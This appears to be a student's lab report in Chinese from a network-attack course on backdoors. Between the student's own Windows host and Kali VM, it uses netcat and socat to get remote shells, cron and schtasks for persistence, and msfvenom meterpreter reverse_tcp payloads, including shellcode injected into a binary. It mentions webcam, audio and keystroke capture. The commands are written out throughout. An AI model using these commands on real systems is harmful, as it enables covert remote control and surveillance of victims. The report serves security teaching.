1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载盗版软件。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:
注册表自启动;
服务自启动:在Windows任务计划程序中创建一个任务,在系统启动或特定时间执行后门程序。 - Linux:
守护进程:在Linux系统中,攻击者可能会创建一个守护进程,使其在系统启动时自动运行。
Linux的cron作业:通过cron作业在特定时间执行后门程序。
(3)Meterpreter有哪些给你印象深刻的功能?
能够获取音频、摄像头、键盘输入的内容,而且Windows并没有发出安全警报(可能因为关闭了防火墙的缘故)。
(4)如何发现自己有系统有没有被安装后门?
使用360安全卫士进行全盘扫描,检查是否被安装后门。
2.1 使用netcat获取主机操作Shell,cron启动某项任务
(1)获取IP
ipconfig
ifconfig
(2)Win获得Linux Shell
先在Windows下执行nc64 -l -p 2419
,然后在kali中执行nc 192.168.96.238 2419 -e /bin/sh
,输入ls
弹出空白,然后输入pwd
弹出当前路径。
(3)cron启动某项任务
在Windows中输入crontab -e
,弹出乱码,并且kali中出现警告
在kali上寻找crontab的任务文件,在Windows下重新启用CMD
在kali下按照“var->spool->cron->crontabs”找到root文件,如下图:
在CMD下输入以下添加自己设置的任务(创建一个定时任务,该任务每分钟执行一次,执行的操作是将字符串 “Hello,World!” 追加到文件 /home/tomoyo/Downloads/20222419hxy.txt 中。这个定时任务被添加到tomoyo用户的cron任务列表中。)
echo "* * * * * echo 'Hello,World!' >> /home/tomoyo/Downloads/20222419hxy.txt" > /var/spool/cron/crontabs/tomoyo
2.2 使用socat获取主机操作Shell, 任务计划启动
(1)用socat连接Windows和kali
通过kali获得主机的操作shell,使用socat获取。
在kali虚拟机中开启监听socat - tcp:192.168.96.238:2419
,在主机中在socat软件的目录下使用命令socat.exe tcp-listen:2419 exec:cmd.exe,pty,stderr
,可以看到kali虚拟机获得了主机的shell
(2) 创建计划任务并启动
获取shell后就可以通过schtasks命令设置windows主机的任务计划程序,提前在windows主机中编写我们要计划启动的程序。
程序代码如下图(获取当前系统时间,并将这个时间以追加的形式写入到一个名为20222419.txt的文本文件中。):
在虚拟机中执行如下命令schtasks /create /sc minute /mo 1 /tn "hxytest" /tr C:\Users\21113\Desktop\20222419.exe
。
查看windows主机,可以看到执行的任务计划程序,由此成功完成目标。
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1) 在kali上生成后门文件传到Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.128 LPORT=2419 -f exe > 20222419_backdoor.exe
在windows主机中开启监听并等待将接受的文件存储下来,在kali中使用nc传输刚刚生成的后门程序。
(2)运行后门程序,获取主机shell
在kali上修改监听模块配置,开启监听
Windows上运行程序后,kali成功获取shell
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1) 获取音频、摄像头等内容
(2) 提权
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
(1) 使用msf的命令生成shellcode,注入pwn1中
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168. 32.128 LPORT=2419 -x /home/tomoyo/Downloads/pwn20222419 -f elf > 20222419_pwn2
给文件添加执行权限:chmod a+x 20222419_pwn2
msfconsole
进入控制台,进行配置,并开启监听exploit。
3.问题及解决方案
-
问题1:crontabs root不执行
-
问题1解决方案:不再修改root文件,改为修改tomoyo文件。(后来运行一次root文件后,crontabs root也可以执行)
-
问题2:Windows自动任务无法正常运行,错误代码0X41303
-
问题2解决方案:将其赋予最高权限后,错误代码变为0X1;只有将起始于补充完整后才顺利运行。
-
问题3:第五个实验报错
Meterpreter session 5 is not valid and will be closed
-
问题3解决方案:监听载荷设置不一致,参考
https://blog.csdn.net/zhang35/article/details/105675341
4.学习感悟、思考等
- 本次实验需要注重一些细节,比如实验五的监听载荷为
set payload linux/x86/meterpreter/reverse_tcp
,不是set payload windows/meterpreter/reverse_tcp
。 - Windows安全防护对于实验有很大的影响,当安全防护打开的时候,后门程序根本无法传输到Windows上。
- Windows自动任务无法执行,需要额外补充起始于哪个位置。
- 通过实验具体感受到了网络攻击,看到了网络恶意攻击者的可怕,比如直接窃取你电脑的音频、摄像头等。